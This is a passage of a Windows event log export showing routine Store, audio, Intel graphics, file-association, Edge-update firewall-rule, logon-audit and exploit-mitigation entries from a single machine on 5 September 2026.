onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.679\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.717\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.717\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:02.970\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:02.971\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:02.971\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:02.989\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:08.724\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:08.732\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:08.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:09.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:09.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:10.287\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:10.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:10.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.519\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.696\t62443\tAppDefault Info: SetDefault: Association=.arw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.697\t62443\tAppDefault Info: SetDefault-Info: Association=.arw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=kCjQmAohRqY=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.698\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .arw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.742\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:11.765\t62443\tAppDefault Info: SetDefault: Association=.cr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.765\t62443\tAppDefault Info: SetDefault-Info: Association=.cr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=2LRzAJEadCU=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.767\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .cr2. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.772\t62443\tAppDefault Info: SetDefault: Association=.crw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.773\t62443\tAppDefault Info: SetDefault-Info: Association=.crw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=HJQgB02ygrk=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.774\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .crw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.843\t62443\tAppDefault Info: SetDefault: Association=.erf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.844\t62443\tAppDefault Info: SetDefault-Info: Association=.erf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=WgihQKSXr1o=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.845\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .erf. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.979\t62443\tAppDefault Info: SetDefault: Association=.kdc, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.979\t62443\tAppDefault Info: SetDefault-Info: Association=.kdc, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=5ydB7X/RwP0=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:11.981\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .kdc. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.044\t62443\tAppDefault Info: SetDefault: Association=.mrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.044\t62443\tAppDefault Info: SetDefault-Info: Association=.mrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=rwQ71rimZz0=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.045\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .mrw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.067\t62443\tAppDefault Info: SetDefault: Association=.nef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.068\t62443\tAppDefault Info: SetDefault-Info: Association=.nef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=/OWLRdhzScI=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.069\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .nef. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.074\t62443\tAppDefault Info: SetDefault: Association=.nrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.075\t62443\tAppDefault Info: SetDefault-Info: Association=.nrw, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=xf0wm/99VTY=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.076\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .nrw. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.110\t62443\tAppDefault Info: SetDefault: Association=.orf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.111\t62443\tAppDefault Info: SetDefault-Info: Association=.orf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=s4wVpyO2sbI=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.112\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .orf. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.139\t62443\tAppDefault Info: SetDefault: Association=.pef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.140\t62443\tAppDefault Info: SetDefault-Info: Association=.pef, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=Fwt4454OVUg=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.142\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .pef. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.144\t62443\tAppDefault Info: SetDefault: Association=.rw2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.144\t62443\tAppDefault Info: SetDefault-Info: Association=.rw2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=fT/lpga0FrA=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.145\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .rw2. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.147\t62443\tAppDefault Info: SetDefault: Association=.rwl, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.148\t62443\tAppDefault Info: SetDefault-Info: Association=.rwl, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=eALmzLcL2KQ=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.149\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .rwl. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.151\t62443\tAppDefault Info: SetDefault: Association=.sr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.151\t62443\tAppDefault Info: SetDefault-Info: Association=.sr2, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=JalBijRtIoY=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.152\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .sr2. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.179\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:12.182\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SystemSettings\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:12.204\t62443\tAppDefault Info: SetDefault: Association=.raf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.205\t62443\tAppDefault Info: SetDefault-Info: Association=.raf, ProgId=AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h, U=S-1-5-21-3712849175-2219398513-4278588552-1006, T=2026:09:06:05:02:07, H=oEXJu51jr5A=\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:12.206\t62441\tUser choice has been reset to prog id AppX9rkaq77s0jzh1tyccadx9ghba15r6t3h for .raf. CurrentDefaultProgId: . ShouldToast: false\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:15.798\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:23.901\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-545\n\tGroup Name:\t\t\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x4898\n\tProcess Name:\t\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:26.950\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{3A17513B-146E-4698-9896-089E544D6F2D}\n\tRule Name:\tb728b6eb-c102-432c-bafa-2c6c87562485\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:26.978\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{3A17513B-146E-4698-9896-089E544D6F2D}\n\tRule Name:\tb728b6eb-c102-432c-bafa-2c6c87562485\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:26.985\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{59B3BC6C-DAC9-49D8-927C-2E9ACB17425E}\n\tRule Name:\tMicrosoft Edge (mDNS-\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0439)\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:26.988\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{59B3BC6C-DAC9-49D8-927C-2E9ACB17425E}\n\tRule Name:\tMicrosoft Edge (mDNS-\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0439)\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:07:27.400\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:27.409\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:27.838\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:28.282\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:28.884\t2000\t\"Process Name: C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{7AE247B5-7D18-48A0-9B9D-4C720227B85A}\\EDGEMITMP_6B0BB.tmp\\setup.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:28.884\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:28.927\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:28.927\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:28.945\t603\tStarted deployment Stage operation on a package with main parameter EdgeGameAssist.msix and Options NormalPriorityRequest and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:07:28.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:28.947\t100\tClipSVC service is starting.  Caller: \tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:28.962\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:07:28.968\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 09:07:28.980\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 9308) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf0767243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x1a3c5fd1200, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:07:28.981\t25\t\"Process 